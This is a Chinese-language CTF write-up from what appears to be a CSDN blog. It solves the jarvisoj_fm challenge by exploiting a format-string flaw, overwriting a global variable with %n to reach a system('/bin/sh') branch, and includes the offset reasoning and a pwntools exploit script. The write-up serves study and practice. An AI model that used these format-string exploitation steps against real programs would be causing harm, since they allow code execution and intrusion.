• 【CTF】jarvisoj_fm 1


    解题思路

    反编译,查找漏洞

    undefined4 main(void)
    {
      int iVar1;
      undefined4 *puVar2;
      int in_GS_OFFSET;
      byte bVar3;
      undefined4 local_64 [20];
      int local_14;
      
      bVar3 = 0;
      local_14 = *(int *)(in_GS_OFFSET + 0x14);
      be_nice_to_people();
      iVar1 = 0x14;
      puVar2 = local_64;
      while (iVar1 != 0) {
        iVar1 = iVar1 + -1;
        *puVar2 = 0;
        puVar2 = puVar2 + (uint)bVar3 * -2 + 1;
      }
      read(0,local_64,0x50);
      printf((char *)local_64);
      printf("%d!\n",x);
      if (x == 4) {
        puts("running sh...");
        system("/bin/sh");
      }
      if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    从题目来看,意图很明显,因为后门就在条件判断的地方

      if (x == 4) {
        puts("running sh...");
        system("/bin/sh");
      }
    
    • 1
    • 2
    • 3
    • 4

    那可利用的点,很明显,有一个read函数,local_64长度为20,但是限制为0x50,是可以溢出利用的。是不是很简单?
    (经过多次毒打之后,我已经没那么乐观了)

    read(0,local_64,0x50);
    
    • 1

    OK,先按这个思路去溢出下试试,看看是否能够直接改写返回地址,果然,最大长度,也无法到达返回地址。看下汇编代码:

                         undefined main(undefined param_1, undefined4 param_2)
    0804854d 55              PUSH       EBP
    0804854e 89 e5           MOV        EBP,ESP
    08048550 57              PUSH       EDI
    08048551 53              PUSH       EBX
    08048552 83 e4 f0        AND        ESP,0xfffffff0
    08048555 83 c4 80        ADD        ESP,-0x80
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    函数进来就有个抬栈的动作,0x50够不到返回地址也就正常了。
    继续寻找,发现printf函数,直接使用输入作为输出,可以利用格式化漏洞%n。

    printf((char *)local_64);
    
    • 1

    再结合进入后门的判断条件x==4, 基本可以确定题目思路是利用%n改写x的值,从而进入后门分支。

    解题过程

    接下来就要确定字符串输入了,先看下printf的时候栈的构造:

    0000| 0xffffd280 --> 0xffffd2ac ("%c%c...") -- 1
    0004| 0xffffd284 --> 0xffffd2ac ("%c%c%...") -- 2
    0008| 0xffffd288 --> 0x50 ('P')
    0012| 0xffffd28c --> 0xc2
    0016| 0xffffd290 --> 0x0
    0020| 0xffffd294 --> 0xc30000
    0024| 0xffffd298 --> 0x0
    0028| 0xffffd29c --> 0xffffd3a4 --> 0xffffd500 (".../jarvisoj_fm/fm")
    0032| 0xffffd2a0 --> 0x0
    0036| 0xffffd2a4 --> 0x0
    0040| 0xffffd2a8 --> 0x38 ('8')
    0044| 0xffffd2ac ("%c%c%...")               -- 3
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    其中1处为printf入参,2开始就是可以利用的栈上参数,3处为local_64的栈上地址。2~3之间参数距离为10.
    OK,到这里需要解决的点就比较清楚了:
    1 构造的字符串,需要吞掉前面10个参数,同时吞掉自己的空间占用,最终为%n的写入创造条件
    2 x全局变量的定义为3,根据1的分析,无论如何,输出长度都会大于10,如何将x修改为4?

     0804a02c 03 00 00 00     undefined4 00000003h
    
    • 1

    解决这两个问题费了我不少时间,走了不少弯路,不是一般菜。
    对于第一个问题,选择使用%c来吞掉确定的参数(%p等长度都不确定),用限制宽度的方式%宽度x,来补齐需要的长度,长度待定。
    对于第二个问题,如果直接修改0804a02c,没办法修改为4。但是小端序的情况,往前一个字节,是有可能的。

    0804a02b 00 04 00 00 --> 0804a02c 04 00 00 00 
    
    • 1

    即将0804a02b修改为0x0400,也就是%n输出长度为1024,就能达成。
    那就剩下最后一个问题,需要多少个%c来吞掉参数,抽象一下:

     %c长度为2    %widthx宽度占用为4字节(1024)          %n长度为2           0804a02b地址长度为4            总长度应为4的整数倍
         2x            +      6                                               +        2                  +                  4                            =            4y 
    
    参见栈构造2~3之间的距离       输入字符串长度(%4)的占用      %c吞掉的参数       %widthx吞掉的参数         %n吞掉的参数
       10                     +            y                =    x       +          1               +          1
    
    • 1
    • 2
    • 3
    • 4
    • 5

    算一下公式,x=22,y=14,with=1024-22=1002
    OK,到这基本大功告成了。

    解题脚本

      1 from pwn import *
      3 elf = ELF('fm')
      4 #libc = ELF('libc-2.27.so') # 根据环境不同进行替换
      5
      6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
      7
      8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
      9 #shellcode=asm(shellcraft.amd64.linux.sh())
     10 #print(len(shellcode))
     11 #print(shellcode)
     12
     13 sh = process('./fm')
     14 #sh.recvuntil('story!\n')
     15
     16 x_address = 0x0804a02b
     17 #pad = '%x'* 21 + '%n'
     18 pad = '%c' * 22 + '%1002x'  + '%n'
     19 payload = pad.encode() +  p32(x_address)
     20 sh.sendline(payload)
     21
     26
     27 with open('payload.txt', 'wb') as f:
     28    f.write(payload)
     29    #f.write(b'\n\n\n\n')
     30    #f.write(payload1)
     31
     32
     33 sh.sendline(payload)
     34
     35 sh.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    总结

    上面算长度的公式,折腾了好久,折腾完发现挺简单,还挺有成就感,但是过程挺折磨,可能还是脑子不习惯数学公式很久了吧,该复习高数或者算法了?

  • 相关阅读:
    Sunlogin RCE漏洞分析和使用
    Text2SQL中不同数据库SQL之间转换的实战代码
    【WordPress】在 Ubuntu 系统上使用 Caddy 服务器来发布 WordPress 网站
    Activiti简单介绍
    SpringBoot美食网站系统
    ARM处理器中断处理机制
    My Forty-first Page - 二叉树的最近公共祖先 - By Nicolas
    搜索二叉树实现(非递归版本)
    CI/CD :Pipeline
    ThinkPHP6综合业务管理系统
  • 原文地址:https://blog.csdn.net/u011317663/article/details/125632558